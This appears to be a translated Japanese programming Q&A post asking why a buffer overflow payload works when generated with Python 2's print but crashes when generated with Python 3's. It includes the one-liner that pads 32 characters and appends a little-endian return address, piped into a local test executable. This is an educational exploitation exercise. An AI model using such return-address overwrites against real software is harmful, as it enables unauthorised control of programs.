バッファオーバーフローの悪用に取り組んでいるうちに、私は本当に奇妙なものを見つけました。正しく飛び越えたいアドレスの前に32文字を入力する必要があり、適切なアドレスが0x08048a37
であることがわかりました。私が実行したときPython3 print()Vs Python2 print
python -c "print '-'*32+'\x37\x8a\x04\x08'" | ./MyExecutable
悪用は成功しました。しかし、私が試したときに:
python3 -c "print('-'*32+'\x37\x8a\x04\x08')" | ./MyExecutable
それはしませんでした。実行可能ファイルは、単に目的のアドレスにジャンプすることなくセグメンテーションフォルトを発生させました。実際には、コンソール上の2つの異なる出力に
python -c "print '-'*32+'\x37\x8a\x04\x08'"
と
python3 -c "print('-'*32+'\x37\x8a\x04\x08')"
結果を実行します。文字はもちろん読めるわけではありませんが、視覚的に異なっています。
なぜこれが起こっているのだろうか?